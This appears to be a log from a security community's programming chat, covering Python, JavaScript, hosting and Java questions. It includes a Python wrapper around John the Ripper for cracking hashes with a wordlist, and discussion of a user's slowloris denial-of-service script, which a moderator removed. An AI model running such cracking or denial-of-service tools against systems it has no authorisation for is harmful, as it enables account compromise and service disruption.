#programming

1 messages ยท Page 18 of 1

surreal bronze
tidal panther
#

switch to C then come back to Python

true pumice
#

Ew

#

No I'm going to JS

#

Looks beautiful

brazen eagle
#

Please don't

stone kayak
#

what next?

#

Perl?

solar hull
#

Ook!

magic falcon
#

Ook is no different than any other tape-abstracted turing machine ๐Ÿ˜ฆ how about scheme though

stone kayak
#

this is super cool

sharp coral
#

@drifting zodiac
i use this trick to read files into a loop in bash, not sure if it's faster

while read i; do 
  ssh thingy $i
done < ports.txt
tulip thorn
#

I posted this question on stackexchange, but I thought I would give it a try here as well.
I'm trying to learn reverse engineering using Radare2. For this I compiled a hello world program with GCC on Ubuntu (version: gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0).

#include <stdio.h> int main() { printf("Hello, world!"); return 0; }
Compile it:

GCC -w hello_world.c -o hello_world
However, when I decompile it using Radare2:

r2 hello_world [0x00001060]> aaa [Cannot find function at 0x00001060 sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x00001060]> afl 0x00001090 4 41 -> 34 sym.deregister_tm_clones 0x000010c0 4 57 -> 51 sym.register_tm_clones [0x00001060]>
The main function does not show up. Searching for it specifically with pdf @main also does not work.

But the program runs fine, and other information I get using Radare (iI command for example) looks normal.

Can anyone explain to me why I can't get the main function to show?

solar hull
#

Should you be starting it with r2 -d hello_world?

tulip thorn
#

I tried that as well, but that also did not show me the main function

brazen eagle
#

you might need to compile with debug symbols?

tulip thorn
#

Thanks for the tip, I didn't know about those. I tried using -gO and -g3 but neither of those helped me find the main function. Any other suggestions?

sour apex
#

is there a python module that lets me create unique strings of characters from the characters i provide

brazen eagle
#

what kind of character strings?

#

but yeah otherwise random'll work if you provide the seed

#

and the character range

#

though if you need a unique identifier, I suggest using uuids

surreal bronze
#
import random

l = list(input("Enter word --> ")) # Gets input

random.shuffle(l) # Shuffles the word

print("".join(l)) # Prints list joined to a string```
#

Random has its own function for it

#

@sour apex

brazen eagle
#

๐Ÿ˜ฎ

#

that just shuffles though

#

I think he wants to specify a set of characters and generate a random string from that set

#

but I could be wrong

true pumice
#

The request seems vague.

brazen eagle
#

I mean you could always pipe /dev/random through base64

true pumice
#

You would need /dev/random to do that though.

surreal bronze
#

you give it a set of characters such as

#

"rgudgfrgdksg"

brazen eagle
#

it'll just reorder the letters, no?

surreal bronze
#

and it randomly shuffles and returns it

#

yeah

#

I think thats what he wanted

#

His request was hard to understand

surreal bronze
brazen eagle
#

I dunno, I assumed give something like "ABCDEFGHJK..." and return and arbitrary-lengthed random string with those characters

surreal bronze
#

oh k

sour apex
#

i know the character length i just need to shuffle it in as many ways as possible

brazen eagle
#

err, you want permutations of the string then?

#

like the set of all 4 character strings from a given 10 characters?

#

for example

surreal bronze
true pumice
#

Script:

import random, itertools, pprint

characters = list(input("Enter characters: ")) # Input unique characters
pprint.pprint(list(itertools.permutations(characters))) # Gets every different combination

Input: abc

Output:

[('a', 'b', 'c'),
 ('a', 'c', 'b'),
 ('b', 'a', 'c'),
 ('b', 'c', 'a'),
 ('c', 'a', 'b'),
 ('c', 'b', 'a')]
#

Script 2 (I prefer this way):

import itertools

characters = input("Enter characters: ")

for char in itertools.permutations(characters):
    print(''.join(char))

Input: abc

Output:

abc
acb
bac
bca
cab
cba
#

Or using list comprehension:

Script:

import itertools

characters = input("Enter characters: ")
char = [''.join(char) for char in itertools.permutations(characters)]

print(char)

input: abc

Output:
['abc', 'acb', 'bac', 'bca', 'cab', 'cba']

#

@sour apex

true pumice
#

i know the character length i just need to shuffle it in as many ways as possible

surreal bronze
#

You could easily do that to with multi threading for larger combinations

true pumice
#

Seems pointless and out-of-scope

surreal bronze
sour apex
#

ok

surreal bronze
#

But itertools.permutations is the best method for this as jabba said

surreal bronze
#
Multithreading

def do_stuff(perm):
    return list(reversed(perm))
  
if __name__ == "__main__":
  with multiprocessing.Pool() as pool:
      results = pool.map(do_stuff, itertools.permutations(characters, r=len(characters)))```

`print results`
brazen eagle
#

why not with concurrent.futures?

surreal bronze
#

hmm

#

I guess that could also work

quiet ginkgo
true pumice
#

What is this for?

quiet ginkgo
#

Can anyone write a python program for this , i just need the approach

true pumice
#

Is this classwork

quiet ginkgo
#

Nope , just a random ques i found

true pumice
#

And which programming language?

quiet ginkgo
#

In python

#

Or just the approach to solve this

true pumice
#

Probably

#

Use a loop

#

To loop over the characters

quiet ginkgo
#

Tried loops, but not getting the output right

#

Tried a bunch of stuff

brazen eagle
#

not sure we're allowed to help with coursework

#

but string replace might be useful

surreal bronze
#

.replace()

#

and for loops

tulip sail
#

Sod the for loops

#

Just regex it

#

Nice li'l oneliner

brazen eagle
#

yes.

celest spruce
#

Heys guys, anyone can give me a tip on how to create a loop to decode a base64 binary in python? I can decode it , but i don't seem to find a way to turn it into a script to decode it 5x .

distant shard
#

Any good small project ideas for x86 ASM? Most of my go-to projects for high-level would take wayyyy too long in ASM.

stone kayak
#

entry program

#

I.E. enter ur password, if its wrong stop else allow access

stone kayak
celest spruce
stone kayak
#

ah

#
x = "to_be_decoded"
for i in range(0, 4):
  x = x.decode_base64
solar hull
#

remember that range end is non-inclusive.

onyx merlin
#

And you could just put range(5) for 0,1,2,3,4

swift tulip
#

might sound like an idiot but how do you put fixed length for a string in a php form

tepid cargo
swift tulip
tepid cargo
#

ah that's like checking normal string length:

$someinput = $_POST['input_field_name'];
if (strlen($someinput) != 10){
    die("YOU DED");
}
swift tulip
#

that should do the trick, i've tried following the assignment process so i was thinking if there is a way to not reinvent the wheel with something like maxLenght="10"

#

excuse my stupidity lol

brazen eagle
#

there's probably a form field you can use as well

swift tulip
#

Either I am blind or very tired or a bit of both

onyx merlin
#

Yeah validate server and clientside

swift tulip
#

Yeah, will have to do that it needs to match a regex query

celest spruce
stone kayak
lofty anvil
#

hello

#

i have a question

#

i wrote a bruteforce script and i wanted to test it on my machine

#

is it possible to use it in a vm and attack the host?

#

for education purposes only

surreal bronze
#

????

lofty anvil
#

nvm

tardy frost
#

Hello, i have web site. How can i protect it from hackers or attacks? And if someone hack my site. What informations will he get?

true pumice
#

Your question is extremely vague. There are many different types of "hacks" and usually with creating websites you learn how to defend against them.
An example would be filtering input from the user to make sure commands cannot be executed, e.g. XSS, SQLi (yheses attacks are covered here: https://www.creativebloq.com/web-design/website-security-tips-protect-your-site-7122853)

You will have to conduct your own research on what your website may be vulnerable and how to protect it against attacks, once again your question is very vague.

lilac holly
#

1 keep it up to date
2 use secure passwords

#

can help

tardy frost
#

how can i change it?

true pumice
#

Change what, your host?

tardy frost
#

yes

#

to not host it from home

true pumice
#

Well you can purchase from hosting companies.

tardy frost
#

There is no possibility of free hosting?

true pumice
#

Maybe but I do not think it will be of high quality.

tardy frost
#

Okay, is it a big deal for me to host it from home?

#

is it too much dangerous?

#

Site just basically request stats from steam api and display it

true pumice
#

I lack sufficient knowledge to provide extended help, I know people who host their websites from their own setup but they have advanced knowledge ๐Ÿคทโ€โ™‚๏ธ

tardy frost
#

and what is the easiest way how to protect it?

onyx merlin
#

Github and netlify do free decent hosting for static sites

#

Idk where your requests happen though.

brazen eagle
#

static site meaning no php, no wordpress, no sql, etc

#

pinging steam apis from javascript is a bad idea if you have a token you need to use

brazen eagle
#

yeah then you'll need a more classic hosting solution

tardy frost
#

likeeeeeee?

brazen eagle
#

good question, I haven't looked into hosting in a long while

onyx merlin
brazen eagle
#

yeah don't host from there, they won't like that

tardy frost
#

because i am hosting it from there ๐Ÿ™„

true pumice
#

That is a very bad idea.

tardy frost
#

why

true pumice
#

If you are going to host a website on their services, I would recommend purchasing one of their packages, the default package alone is not enough to host your website.

tardy frost
#

Nah, i dont want to pay for it

#

And if you are here, can u help me with problem with css?

#

Its a small problem

true pumice
#

Hit me

tardy frost
#

i have this two .html s that i want to connect```html
<!DOCTYPE html>
<html>
<body style = "font-family: Verdana, sans-serif;">
<table>
<p style = "font-family:courier,arial,helvetica;">
<h2>Masko stats:</h2>
<tr><td>Total kills:</td><td>| 68960 |</td>
<tr><td>Total deaths:</td><td>| 62374 |</td>
<tr><td>Total wins:</td><td>| 29604 |</td>
<tr><td>Total demage done:</td><td>| 9653315 |</td>
<tr><td>Total planted bombs:</td><td>| 2808 |</td>
<tr><td>Total defused bombs:</td><td>| 694 |</td>
</table>
/and ohter
</body>
</html>

and another one is the same as this, only ints change.
and i want to display it side by side
#

so i have this

brazen eagle
#

that's not a CSS problem

tardy frost
#
<!doctype html>
<html>
<style>
#main {
  width: 100wv;
  height: auto;
  display: flex;
  justify-content: space-between;
  align-items: flex-start;
  flex-direction: row;
}
</style>
  <body id='main'>
    {% include '2_aligator_compare.html' %}
    {% include '5_masko_compare.html' %}
    {% block content %}{% endblock %}
    <p>working</p>
  </body>
</html>
true pumice
#

You want your data to be static?

tardy frost
#

ys

#

yes

#

this is how it display it

#

But i want to display it side by side

robust comet
#

I think it's more easy to import this data in database and call them with php

#

1 html with 1 php script with sql query

#

for the hosting you can use freehostin

stone kayak
#
    {% include '2_aligator_compare.html' %}
    {% include '5_masko_compare.html' %}
    {% block content %}{% endblock %}

This is literally Hugo but weird

#

i think you're trying to write in SSG lang without an SSG

#

?

robust comet
#

and obviously more safe

onyx merlin
#

More safe?

stone kayak
#

what

onyx merlin
#

Static data is much much much safer, easier to develop, and less likely to go wrong...

stone kayak
#

thats not in the default language

robust comet
tardy frost
robust comet
tardy frost
#

yea

#

but i would like to figure out this problem..

true pumice
#

Python is a good language

#

Just looks horrible

#

@stone kayak Can agree

robust comet
#

python it's powerful scripting language ๐Ÿ˜

true pumice
#

Language looks bad when I code it

#

Just the structure

#

And the syntax

stone kayak
true pumice
#

See bee doesn't like the look of it either

stone kayak
true pumice
#

JavaScript however

#

Beautiful

brazen eagle
#

SSGs are fine but that would mean exposing a personal api token that shouldn't be exposed

robust comet
#

javacript ๐Ÿ™„

brazen eagle
#

which version of JS?

true pumice
#

JavaScript is a very powerful language and I think it will benefit me the most in the future.

robust comet
#

more problematic language in the world, every version have more thank 10 exploits

#

every devops department need 2 workers only for javacript

true pumice
#

If you look at a lot of web applications, while not all of them do, they use JS

#

I think understanding JavaScript would benefit my understanding of web applications as a whole

robust comet
#

of course

#

but all Web applications move to python

onyx merlin
#

Javascript is the clientside language

brazen eagle
#

yeah browsers can't run python

robust comet
#

it's true? every vertion of js its different from previous versions? server can

stone kayak
brazen eagle
#

not directly...

stone kayak
#

It is not Javascript code! Instead, you will find Python code in a script of type "text/python".

#

๐Ÿ˜‰

robust comet
#

you can communicate between client and server with python

onyx merlin
stone kayak
#

its python3

#

directly

stone kayak
#

client-side

brazen eagle
#

it's still JS ๐Ÿ˜›

robust comet
#

@stone kayak thank you

#

nope

stone kayak
brazen eagle
#

well, a JS interpreter

robust comet
onyx merlin
#

No they're not all different

#

They build on the last version

brazen eagle
true pumice
#

You said "yeah browsers can't run python"

#

So I googled

stone kayak
#

they can if they implement python

robust comet
#

browsers can run python scripts like js scripts

true pumice
#

"python websites"

stone kayak
#

Rust clientside ๐Ÿฅฐ

robust comet
#

Rust?

stone kayak
true pumice
#

Rust is hard

#

Mainly because I came from a language that has garbage collection

robust comet
#

OK really interesting

#

but I think you need background on nonsript language for rust

surreal bronze
#

whats going on here :P

carmine basalt
#

anyone know py 2 ?

carmine basalt
#

wait that whole page written in ?

onyx merlin
#

The whole point is don't just ask "does anyone know this thing"

#

Ask your actual question directly.

carmine basalt
#

ok

#

i am a beginner so i want a volunteer to help me learn

onyx merlin
#

Don't learn python 2

carmine basalt
#

by clarifying my doubts

carmine basalt
#

i want to learn python 3

onyx merlin
#

You still haven't asked your actual question

stone kayak
carmine basalt
onyx merlin
#

Python2 is deprecated

#

Stop looking at python2

carmine basalt
#

ok

onyx merlin
#

I have no idea what you mean by "run it in any software"

carmine basalt
onyx merlin
#

By a long long time yes

carmine basalt
onyx merlin
#

You can

#

But ok

#

Just stop learning or writing python2

carmine basalt
#

ok

#

got it

onyx merlin
#

It's a complete waste of your time if you continue.

carmine basalt
#

ok

#

so where to learn python 3 ?

onyx merlin
#

We are not here to replace google

carmine basalt
#

ok thank you for your time

brazen eagle
onyx merlin
#

@brazen eagle there's another for you

brazen eagle
#

yeah, I saw you link that one earlier

#

problem is they're all francophones at work, so...

tepid cargo
#

i mean why but. i know it's a trend here. but what is harm of saying "yes" instead of sending this link to a new user.

brazen eagle
#

because it's better to just ask the darned question than to have to wait for an immediate response

tepid cargo
#

yeah but u don't have to wait. lol u are not obligated to answer any questions at all

brazen eagle
#

you're more likely to get the question answered if you ask it right away

tepid cargo
#

no i am saying that, "don't ask to ask, just ask" thing

#

i mean it's polite ๐Ÿ˜

brazen eagle
#

rather than saying "Hi, does anyone know X" ... ... ... and leave because noone is responding

tepid cargo
#

like "hey can i ask something?"

onyx merlin
brazen eagle
#

you can say "Hey can I ask: <Question Here>"

tepid cargo
#

i mean saying "go ahead" will do exactly that.

#

like when a user is here for a while it's 100% ok

#

but when the user is like not even verified

#

that means they don't know about this server and stuff

brazen eagle
#

sure but it still takes more time that many of us don't always have

onyx merlin
#

That's an additional interaction that's totally un needed. You could just ask the question.

#

It's not related to the server

#

It's a general rule that applies everywhere

tepid cargo
#

true. but then again, no one is obligated to answer. u are answer because u want to.

onyx merlin
#

What does that have to do with it?

tepid cargo
#

u want to reduce an interaction.

onyx merlin
#

No, I want to get to the point

tepid cargo
#

where u don't have to interact.

onyx merlin
#

No one knows if they can help until they know the question

tepid cargo
#

right exactly. how about saying go ahead and saying you don't have to ask for permission and stuff.

onyx merlin
#

Open with the question. Save everyone's time.

brazen eagle
#

if you're too lazy to ask the question properly, why should we go out of our way to help?

tepid cargo
#

then probably u shouldn't. just help who is not lazy.

#

and asking for "hey can i ask a question" is not lazy

brazen eagle
#

though I know it's easy to fall into the trap, I still do sometimes

tepid cargo
#

it's more of a politeness

brazen eagle
#

you can still be polite while asking the question

tepid cargo
#

again i am only saying for the new user

brazen eagle
#

noone's saying otherwise

onyx merlin
#

It's a small change that actually leads to your questions being answered

tepid cargo
#

which cannot be done without giving a person a link of some bs site?

#

cool

brazen eagle
#

Sometimes the lesson needs to be rammed a bit

onyx merlin
#

I regularly state 'just ask your question'.

#

It's a lesson people need to learn.

tepid cargo
#

i have regularly seen u with "don't ask to ask" thing as well.

onyx merlin
#

Yes

tepid cargo
#

depends on ur mood probably

onyx merlin
#

They're the same.

#

If you're taking it as rude, then you're misunderstanding completely

tepid cargo
#

again i am saying for the new users.

#

not the users that already know.

brazen eagle
#

it does get frustrating time and time again

tepid cargo
#

true. i would agree to that.

#

but it's like a customer vs store owner type thing. where store owner gets frustrated but the customer may be complete new who doesn't know how things work just yet

brazen eagle
#

best teach them early on then ๐Ÿ˜‰

stone kayak
#

i need to pip freeze, but its recording all of the packages I have -- even outside the virtualenv how do I do this?

#

its a 250mb file lol

#

not specifically pip freeze

#
cd  /mnt/c/Users/bee/Documents/Projects/nth/env/lib/python3.8/site-packages/ && zip -r9 /mnt/c/Users/bee/Documents/Projects/nth.zip . \ && cd /mnt/c/Users/bee/Documents/Projects/nth-web-api && zip -g ../nth.zip -r .```
magic falcon
#

it should only be freezing the non-venv parts that aren't overridden by the local environment

stone kayak
#

i pip installed 3 packages theres no way this entire baby is 250mb NotLikeThis

magic falcon
#

which is normal, and why best practices are to install as few things as possible into the primary install directory

#

did your packages have dependencies? also, there could be system level stuff that is bloating it a lot

stone kayak
#

ahhhh

stone kayak
#

yeah im 99% sure this virtualenv is literally just my packages

#

that i have

#

outside of it

#

uh oh

magic falcon
#

isn't the newest pip v21 not 20?

stone kayak
#

ah its the virutalenv nvm

magic falcon
#

sounds about right

#

at least you aren't dealing with conflicting dependency versions

lilac holly
stone kayak
#

can anyone help me get this python project down in size

#

to < 250mb

#

reeeeeeee

#

i cant believe its not <250mb

magic falcon
#

cython? unless you have a distinct requirement, you should be able to drop those out for system-agnostic reasons

lilac holly
#

@eternal frigate

#

Here

eternal frigate
#

ohk

#

thnx

lilac holly
#

Np

eternal frigate
#

i will i some time

surreal bronze
#

hm?

lilac holly
#

guys I'm might try out programming. Can anyone recommend me a programming language?

brazen eagle
#

depends on what you want to do

lilac holly
#

well i actually don't know what I can do with programming

#

my friend first told me about these things when he was making an aimbot

brazen eagle
#

aimbots'll probably get you banned ๐Ÿ˜›

lilac holly
#

ik

true pumice
#

Yeah, please no unethical or illegal questions

lilac holly
#

im not asking an illegal question?

true pumice
#

Rule 9 says no discussion of illegal topics ๐Ÿ˜‰

#

Or unethical*

lilac holly
#

oh sorry

brazen eagle
#

as for programming in general, python seems to be well liked as a general-purpose language, Javascript is generally used for web stuff, C/C++ is usually used for embedded/general stuff. Java is reasonably popular outside the infosec crowd

#

though for some reason infosec really hates Java ...

true pumice
#

I would probably say, find what you want to program and then research which is the best language.

As hydragyrum perfectly covered, there are main languages for different areas but there are plenty of upcoming languages that may suit your needs

brazen eagle
#

yup

lilac holly
#

alright thank you guys!

brazen eagle
#

Rust is gaining popularity for systems programming

#

Kotlin is nice ๐Ÿ™‚

true pumice
#

^ especially tools with speed

#

Rust* hah

brazen eagle
#

for rust, yes

#

^_^;

true pumice
#

Iโ€™m using Kotlin for my android game development course

solar hull
#

Golang and ruby are fine options as well. Althouh ruby doesnโ€™t have the momentum it used to.

brazen eagle
#

Kotlin is great for Android

magic falcon
# brazen eagle as for programming in general, python seems to be well liked as a general-purpos...

I'd clarify that C/C++ is used in more than just embedded, the only limits are how much time you want to spend on it and how driven you are to learn the deep arcane wizardry. Infosec loathes java not because of the language, but because of the JVM crap that gets pulled all the time with versions. "Oh sorry, we can't upgrade off that super old and super vulnerable version of Java 1.6 - here's our justification that doing so costs us more money with little to no benefit"

#

I have seen environments that had 5 different versions of the JVM on different webservers. Because the webapps running on them couldn't be upgraded

magic falcon
#

C++ dev tends to be a bit slower than other languages, because there's a lot that is needed to think about - i think it's a very solid first language, but the learning curve at the very beginning is significantly steeper than python or java or go or haskell

brazen eagle
#

and yeah the JVM is a bit of a pain at times

#

I get to deal with Java 8 every day because Java 9 broke a ton of things, and enterprise is slow

magic falcon
#

honestly, i would be happy if i never had to go through another SAST review for java. Kotlin or Quarkus seems like much more consistent languages between versions

brazen eagle
#

Quarkus is awesome (though it's a framework, not a language)

#

I built a room with Quarkus and Kotlin compiled to native in a container so...

#

coming soon โ„ข๏ธ

magic falcon
#

My opinion is that Java VM is slowly going to go away; Oracle gave away EE to the Eclipse foundation a couple years ago. if oracle thinks that the money on it is going away....

#

Nice - I hear a lot about Quarkus from others at work, but I haven't had a project that needed me to learn it (yet). It's always used in the way as Kotlin when its talkeda bout, so that was my assumption

brazen eagle
#

I'll be more excited when ktor supports Kotlin/Native properly

#

JVM'll probably stick around for a while

solar hull
#

Java as language has had some development in the last years, but EE is not really supporting an upgrade path for that.

brazen eagle
#

it's Jakarta now iirc

solar hull
#

Yep. And it's still immature in the upgrade path. Libraries don't support the newer VMs and their deployment models well.

magic falcon
#

honestly? best update/upgrade of java in the last decade is GraalVM

#

The profiling is astoundingly easy to use

solar hull
#

Just about everything is breaking now with the update from javax to jakarta packaging.

brazen eagle
#

it's definitely interesting

#

oof

solar hull
#

Jetty has two stable release branches, one of which works with the old and one for the new servlet APIs.

brazen eagle
#

assuming it's just a packaging change then it shouldn't be too bad

solar hull
#

Packaging and API changes. Not just one.

brazen eagle
#

if it's not source-compatible than that's bad

#

oh bloody hell

#

well, death by attrition it is

#

only thing about Quarkus that I don't like is that their gradle support is still a bit flaky sometimes

solar hull
#

oh and don't get me started about gradle ๐Ÿ˜„

brazen eagle
#

it's better than maven

solar hull
#

True. Or ant ๐Ÿ™‚

#

I kind of like Java the language, and the tooling available for it. For the libraries etc around it, not that much.

brazen eagle
#

Gradle is pretty interesting tbf

#

though they tried to do what they could for the kotlin dsl

hoary shore
#

what language do u guys write for a quick exploit

brazen eagle
#

depends

#

probably bash or python though

#

or powershell for windows

stone kayak
#

hydraaaaaaaaaaaaaaaaaaaaaaa

brazen eagle
#

beeeeeeeeeeeeeee

#

what'd I break?

magic falcon
#

Depends on what you mean by 'quick'

hoary shore
#

like short

#

it doesnt require lots of typing

brazen eagle
#

quick meaning can rapidly prototype I suppose

#

so I'm assuming scripting

stone kayak
gusty crescent
#

Could someone help me out with a python web scraping problem?

onyx merlin
#

We don't know if we can help unless we know the queston

gusty crescent
#

I'm trying to scrape different values from the financials section of https://finance.yahoo.com/quote/TSLA/financials?p=TSLA.

This is my code ```
from bs4 import BeautifulSoup
import requests

ticker = 'TSLA'

url = requests.get(f'https://finance.yahoo.com/quote/{ticker}/financials?p={ticker}').text
soup = BeautifulSoup(url, 'lxml')
income_table = soup.find_all('div', class_='M(0) Whs(n) BdEnd Bdc($seperatorColor) D(itb)')

for entry in income_table:
rev = entry.find('div',class_='Ta(c) Py(6px) Bxz(bb) BdB Bdc($seperatorColor) Miw(120px) Miw(140px)--pnclg Bgc($lv1BgColor) fi-row:h_Bgc($hoverBgColor) D(tbc)').text
gross_prof =entry.find('div',class_='Ta(c) Py(6px) Bxz(bb) BdB Bdc($seperatorColor) Miw(120px) Miw(140px)--pnclg Bgc($lv1BgColor) fi-row:h_Bgc($hoverBgColor) D(tbc)').text

print(rev,gross_prof)

#

However I only ever manage to scrape the first value (total revenue) and nothing below that (e.g. gross profit)

onyx merlin
#

Do they have an API?

#

Because scraping is the worst

stone kayak
#

yahoo does have an API

#

the yahoo finance API, as i used it in uni hahaha ๐Ÿ˜„

#

its free toooo

gusty crescent
#

oh really? I have only found a third party version and a statement that it got shut down cause it unintentionally violated some other third parties laws

stone kayak
#

WHAT

true pumice
stone kayak
#

Yahoo Finance API was shut down in 2017

gusty crescent
#

Hi there, Yahoo had its API open to the public, unbeknownst to the exchanges and other data firms whose data they were using. So everyone who was using the Yahoo finance API was basically using it illegally with or without knowing it. The exchanges finally caught wind of it and it wasnโ€™t until shortly after that the API got shut down.

And the rapidapi thing is the third party I was mentioning, but haven't looked into it

#

So is there any way of doing it via scraping or would that be too difficult/much work?

lilac holly
#

can someone help me in this?

#

its javascript

onyx merlin
#

It accomplishes nothing

#

Is this for an exam?

lilac holly
#

no i just now started coding

#

im trying it out

onyx merlin
#

Where's the exercise from?

lilac holly
#

codewars

onyx merlin
#

Ok, what do you know about functions?

gray ledge
# lilac holly

youโ€™d need a third variable, if that helps at all

onyx merlin
gray ledge
#

oh

#

what language is it in?

onyx merlin
#

JavaScript

#

But it doesn't matter

gray ledge
#

ohhh okay

#

i got it

brazen eagle
#

Yeah your function is missing something rather important

midnight forge
#

anyone got good resources on R for analytics ?

north heron
#

hey guys, i just got a raspberry pi and i've just setup apache running on a certain IP address
as long as another device is connected to the same internet, it's able to access the server
however, once the device that's sending a request to the server is connected on a different internet connection
it can't connect to the server anymore
so if i device b is the client side and device a is the server
if device b is on the same internet connection as device a
then it works
otherwise the page is not recognized because the device b is on a different internet connection
i wanna host this flask server on a custom domain
how do i do that?

cursive orchid
#

which basically translates a public port on your public ip to a port on your private ip

#

but unless you've got it tied down veryyyyy well i would suggest against it

#

since if someone finds a way to exploit your web app and get rce, say goodbye to your home network

lilac holly
#

Hi i need some help from somone who know c

#

I received two variables from the user and I want to compare them to places in a two-dimensional array and if they are equal then replace but only once I need to replace no more than once

#

how can i do it?

brazen eagle
#

Sounds like a homework assignment

lilac holly
brazen eagle
#

as a rule, I don't really help with homework

lilac holly
#

its not the homework i stuck in part from the homework its will help mr finish but you not giving me the answer

brazen eagle
#

the question is also pretty vague

shadow vapor
brazen eagle
#

do some basic research, break the problem down into little tiny pieces, then build up the solution from there

remote echo
#

Hey, can someone suggested me some good resources for Golang

brazen eagle
#

come on, google a bit

cursive zephyr
#

Hi so.. in python can i get the output that an already running process produces? (i'm using ubuntu)

true pumice
#

process produces?

cursive zephyr
#

no i mean the program

tulip sail
#

Afaik you'd need to do it with a process created by the python script @cursive zephyr, OR do it the hacky way with sockets or FIFOs

cursive zephyr
#

i saw that some people used subprocess module but for windows

true pumice
#

I am highly confused and very lost.

#

Imma just head out

tulip sail
#

subprocess module works just as well on Linux

solar hull
#

You have access to subprocesses streams, and can use them.

cursive zephyr
#

Let's say i run airodump-ng how would i access the live output in the terminal using it?

#

i want to get the bssid's and essid's

true pumice
#

Oh

#

I did this with JTR, give me a second to pull my code.

#

@stone kayak Where did hash identifier go

#

I need my codeee

#

Fine I'll log in, I'm on the project anyway

stone kayak
#

oh you would know IF YOU WAS IN MY DISCORD

true pumice
#

It was public for like

#

ever

stone kayak
#

ill get u the code

#
class john:
    pass

    """
    supports = set(["","",""])
    moduels = ["subprocess"]
    def crack(self, hash, quiet):
    if quiet:
        john = subprocess.Popen(
            ["john", hash, "--wordlist=" + wordlist], stdout=subprocess.PIPE)
    output, error = john.communicate()
        print("Jesus take the wheel! (output not supressed)")
    
    else:
        with open('/tmp/jtr_out.txt', 'w') as output:
            john = subprocess.Popen(
            ("john", "--fork=4", hash, "--wordlist=" + wordlist,), stdout=output, stderr=STDOUT)
            print("Output Supressed!")
            out, error = john.communicate()
    Thanks jabbba, will do this later :P
    """
true pumice
#

Did you change that or did I really do a weird Job on that

stone kayak
#

no i just commented it out

#

see u've become a better programmer

#

you already hate what you was

true pumice
#

I mean

#

I took a strange approach but as long as it works (which it doesn't) blobfingerguns

true pumice
cursive zephyr
#

i hope so too XD

true pumice
#

I can probably explain it, it was a few months ago haha

cursive zephyr
#

if you can plz do

true pumice
#

Okay, I will do my best

#

BTW, it took a while of looking through the docs to get it working and to understand it

cursive zephyr
#

i just opened the docs to try to figure out how the module works

#

oh i see how it works you actually run the command through the module so it can capture the output

true pumice
#
def crack( # This function cracks hashes, 
self, hash, quiet): # it takes two arguements: one being the hash and the other a boolean to check whether it should have output or supress the output
    if quiet:
        john = subprocess.Popen( # subprocess.Popen creates the sub process
            ["john", hash, "--wordlist=" + wordlist], stdout=subprocess.PIPE) # This is the command that is being run
    output, error = john.communicate() # This seems to output the error if there is one (not actually sure tbh)
        print("Jesus take the wheel! (output not supressed)") # This seems to catch whether it does supress the output
        with open('/tmp/jtr_out.txt', 'w') as output: # This opens the output file
            john = subprocess.Popen( # Creates subprocesses
            ("john", "--fork=4", hash, "--wordlist=" + wordlist,), stdout=output, stderr=STDOUT) #Command to be run on the terminal, stdout stores the output in "/tmp/jtr_out.txt"
            print("Output Supressed!") # This is just a checkpoint to see if the code runs
            out, error = john.communicate() # This I still don't have a clue on what does
#

Hope this helps blobfingerguns

cursive zephyr
#

Yeah it makes sense i thought this module would be more def to understand lol thank you

#

does it return the output in a string form?

novel imp
#

is it allowed post a full python code here since it's bit too long to post in codeblock? I might need some help with troubleshooting

true pumice
#

Post it in sections ^

true pumice
cursive zephyr
#

oh okay

#

use `

surreal bronze
#

Would you mind putting that on this site?

#

It would be easier to read

novel imp
#

what do you mean

true pumice
#

This seems better fit for a GitHub repo

novel imp
#

that's just my python file with quite a lot of comments

surreal bronze
#

Can you put the python file here

novel imp
surreal bronze
#

Just so the channel doesn't get cluttered and it's easier to read

novel imp
#

there

surreal bronze
#

Thanks

#

What's the problem?

novel imp
#

issue is that the slow loris I made is not working

#

am I missing some stuff or what's wrong

surreal bronze
#

Um this is a DDOS program right?

true pumice
#

DoS*

surreal bronze
#

Sory jabba ๐Ÿ˜•

novel imp
#

it should slow the internet connection down to crawl but it doesn't do that for some reason, yes it's mainly for stress testing but technically it's DoS

true pumice
#

I'm not sure the procedure on this

#

Lemme ask

surreal bronze
#

Computerphile ftw

novel imp
#

yes, that was the basis of the attack but I added some stuff there

#

I love that guy

true pumice
#

I always thought slowloris just slowly loaded the page and it took the website offline

surreal bronze
#

It kinda does that yes

true pumice
#

I read like one post 3 years ago and haven't thought about it since

novel imp
#

I tried to find ascii lori but didn't so I went with sloth since it's reminding of the slowness this thing can cause, if it worked right

#

the thing is to slow things to a crawl and then inject stuff before resuming normal speed, afaik

tulip sail
#

@novel imp Why are you doing this?...

novel imp
#

just to experiment and learn, mainly, I have no intentions on using my skills to harm people, I use ddos stuff just to test my own server

tulip sail
#

A) DoS
B) Good. As long as it's for educational purposes only

novel imp
#

yes, that's my main goal, to educate myself about these so I can be knowledgeful about them if I encounter them

#

to know your enemy is half the battle or how the saying went

novel imp
#

yea got it mixed up, my bad

humble venture
#

@novel imp Just an FYI - I've taken down the code samples you put up in this here channel - Wouldn't want any naughty new users finding it and trying to use it for bad purposes ๐Ÿ™‚

novel imp
#

that's good

#

safety first right

humble venture
#

Zactly.

true pumice
#

@stone kayak Using globals() is bad practice, right?
So if I have four instances of the class "Team", do I have two manually do:

print("[1]", team1.get_name)
print("[2]", team2.get_name)
print("[3]", team3.get_name)
print("[4]", team4.get_name)

Or is there an easier, better looking way?

stone kayak
#

idek what globals is

true pumice
#

The globals dictionary?

surreal bronze
#

I've heard of

#

globls var

#

But never globals dictionary

true pumice
stone kayak
#

hm yeah

#

that looks bad

surreal bronze
#

Oh this

true pumice
#

My computer WiFi is super slow Jesus

stone kayak
#

i think using any type of variable is bad, perhaps rewrite in an entirely variable-less functional style?

surreal bronze
true pumice
#

Just allows me to do things like this:

teams = ["team1", "team2", "team3", "team4"]

for index, team in enumerate(teams, start=1):
  team = globals()[team]
onyx merlin
#

Jabba

true pumice
#

Yes?

onyx merlin
#

For team in teams: print (team.get_name)

#

Excuse that formatting

#

Mobile sucks

#

You can iterate through an array of teams

true pumice
#

That was a poor example, I want to dynamically create teams (I am trying to avoid dictionaries).

onyx merlin
#

Pass a list of teams around between stuff if you need to

true pumice
#
teams = ["team1", "team2", "team3", "team4"]

for team in teams:
